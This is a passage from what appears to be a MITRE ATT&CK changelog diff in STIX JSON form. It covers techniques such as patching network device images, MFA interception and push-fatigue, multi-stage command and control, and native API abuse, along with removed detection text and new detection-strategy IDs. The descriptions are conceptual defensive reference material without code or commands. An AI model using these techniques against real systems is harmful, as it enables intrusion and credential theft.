"x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.331000+00:00\", \"old_value\": \"2025-04-25 14:48:39.086000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1043: Credential Access Protection", + "M1045: Code Signing", + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0569: Detection Strategy for Downgrade System Image on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 19:49:24.129000+00:00", + "modified": "2025-10-24 17:49:26.083000+00:00", + "name": "Patch System Image", + "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1601/001", + "external_id": "T1601.001" + }, + { + "source_name": "Killing the myth of Cisco IOS rootkits", + "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.", + "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf" + }, + { + "source_name": "Killing IOS diversity myth", + "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.", + "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf" + }, + { + "source_name": "Cisco IOS Shellcode", + "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.", + "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf" + }, + { + "source_name": "Cisco IOS Forensics Developments", + "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.", + "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf" + }, + { + "source_name": "Juniper Netscreen of the Dead", + "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.", + "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.083000+00:00\", \"old_value\": \"2025-04-25 14:48:09.178000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n\\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n-\\n-Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1043: Credential Access Protection", + "M1045: Code Signing", + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0469: Detection Strategy for Patch System Image on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:23.195000+00:00", + "modified": "2025-10-24 17:49:29.231000+00:00", + "name": "Multi-Factor Authentication Interception", + "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1111", + "external_id": "T1111" + }, + { + "source_name": "GCN RSA June 2011", + "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.", + "url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/" + }, + { + "source_name": "Mandiant M Trends 2011", + "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.", + "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf" + }, + { + "source_name": "Okta Scatter Swine 2022", + "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", + "url": "https://sec.okta.com/scatterswine" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.231000+00:00\", \"old_value\": \"2025-04-15 22:50:08.274000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\\n\\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\\n-\\n-Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0246: Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 02:15:49.754000+00:00", + "modified": "2025-10-24 17:49:07.399000+00:00", + "name": "Multi-Factor Authentication Request Generation", + "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1621", + "external_id": "T1621" + }, + { + "source_name": "Russian 2FA Push Annoyance - Cimpanu", + "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.", + "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/" + }, + { + "source_name": "MFA Fatigue Attacks - PortSwigger", + "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.", + "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications" + }, + { + "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe", + "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.", + "url": "https://www.mandiant.com/resources/russian-targeting-gov-business" + }, + { + "source_name": "Obsidian SSPR Abuse 2023", + "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", + "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security", + "Pawel Partyka, Microsoft 365 Defender", + "Shanief Webb", + "Obsidian Security", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\", \"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.399000+00:00\", \"old_value\": \"2025-04-15 22:50:21.216000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0160: Detection Strategy for Multi-Factor Authentication Request Generation (T1621)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:15.935000+00:00", + "modified": "2025-10-24 17:49:03.646000+00:00", + "name": "Multi-Stage Channels", + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1104", + "external_id": "T1104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.646000+00:00\", \"old_value\": \"2025-04-25 15:15:50.032000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0228: Detect Multi-Stage Command and Control Channels" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:17.472000+00:00", + "modified": "2025-10-24 17:48:39.785000+00:00", + "name": "Native API", + "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1106", + "external_id": "T1106" + }, + { + "source_name": "MACOS Cocoa", + "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1" + }, + { + "source_name": "Apple Core Services", + "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.", + "url": "https://developer.apple.com/documentation/coreservices" + }, + { + "source_name": "macOS Foundation", + "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.", + "url": "https://developer.apple.com/documentation/foundation" + }, + { + "source_name": "OutFlank System Calls", + "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", + "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" + }, + { + "source_name": "Redops Syscalls", + "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.", + "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls" + }, + { + "source_name": "GNU Fork", + "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.", + "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html" + }, + { + "source_name": "CyberBit System Calls", + "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.", + "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/" + }, + { + "source_name": "GLIBC", + "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.", + "url": "https://www.gnu.org/software/libc/" + }, + { + "source_name": "LIBC", + "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.", + "url": "https://man7.org/linux/man-pages//man7/libc.7.html" + }, + { + "source_name": "Linux Kernel API", + "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.", + "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html" + }, + { + "source_name": "MDSec System Calls", + "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", + "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa" + }, + { + "source_name": "Microsoft Win32", + "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/" + }, + { + "source_name": "Microsoft NET", + "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.", + "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework" + }, + { + "source_name": "NT API Windows", + "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.", + "url": "https://undocumented.ntinternals.net/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gordon Long, LegioX/Zoom, asaurusrex", + "Stefan Kanthak", + "Tristan Madani (Cybereason)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.785000+00:00\", \"old_value\": \"2025-04-15 19:58:23.043000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n\\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n-\\n-Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0529: Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "created_by_ref": 